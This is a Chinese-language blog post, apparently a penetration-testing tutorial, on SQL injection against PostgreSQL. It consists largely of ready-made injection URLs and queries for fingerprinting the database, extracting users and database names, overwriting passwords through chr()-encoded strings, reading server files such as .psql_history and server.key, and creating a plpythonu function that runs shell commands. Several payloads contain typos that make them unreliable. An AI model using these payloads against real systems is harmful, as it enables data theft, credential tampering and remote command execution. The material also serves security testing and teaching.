PostgreSQL 数据库测试

简介
在本篇博文中我们将介绍PostgreSQL的注入技术。有如下特点:

  • PHP允许多个用法结合使用,在有语句分隔符时
  • SQL可以通过添加注释字符来截断
  • limit和offset可以在select语句中使用。

测试
识别PostgreSQL
当发现SQL注入时,要仔细的对后端的数据库进行指纹识别,可以使用::cast 操作符来确定后端数据库引擎

http://www.example.com/store.php?id=1 and 1::int=1
http://www.example.com/store.pho id=1 union all select null,version(),null limit 1 offset 1--使用version()函数抓取。

盲注测试
对于SQL盲注攻击,需要考虑一下内置函数。

  • 字符串长度:length(str)
  • 从给定字符串中进行提取:substr(str,index,offset)
  • 不带单引号的字符串:CHR(104)||CHR(111)...
    从8.2版本开始引入一个内置函数pg_sleep(n),可以使整个会话进行n秒的休眠。

单引号防止绕过
字符串可以编码,以防止单引号进行转义,通过chr函数

  • chr(n):返回ASCII值对应的数字n的字符
  • ascii(n):返回字符n对应的ASCII值
    'root'编码为114,111,111,116
    将'root'编码成:chr(114)||chr(111)||chr(111)||chr(116)
    http://www.example.com/store.php?id=1;update user set password=chr(114)||chr(111)||chr(111)||chr(116)--

攻击向量
当前用户可以通过select语句检索

select user
select current_user
select session_user
select username from pg_user
select getpgusername()

例子:

http://www.example.com/store.php?id=1 union all select current_database()
http://www.example.com/store.php?id=1 union all select user,null,null--

内置函数current_database()返回当前数据库的名称
http://www.example.com/store.php?id=1 union all current_database(),null,null--

文件读取
提供了两种访问本地文件的方式:

  • copy
  • pg_read_file()内部函数
    copy操作符在文件和表中间复制数据,PostgreSQL以postgres用户访问本地文件系统
/strore.php?id=1;create table file_store(id serial,data text)--
/strore.php?id=1;copy file_stre(data) from '/var/lib/postgresql/.psql_histroy'--

pg_read_file():这个函数是postgreSQL8.1中开始引入的,它允许读取任意DBMS数据的任意文件
select pg_read_file('server.key',0,10000)
壳注射:通过动态函数库和脚本语言来添加自定义函数
动态库:在版本8.1之前可以添加libc链接的自定义函数。
plpython:是允许用户使用python来编写postgreSQL函数,不安全函数
/store.php?id=1;create function proxyshell(text) returns text as 'import os;return os.ponpen(args[0].read()'language plpythonu;--)
工具:
SQLmap

上一篇:时序数据库timescaleDB安装


下一篇:Postgresql 或GreenPlum 查询结果部分字段转json格式并保留字段名(row_to_json)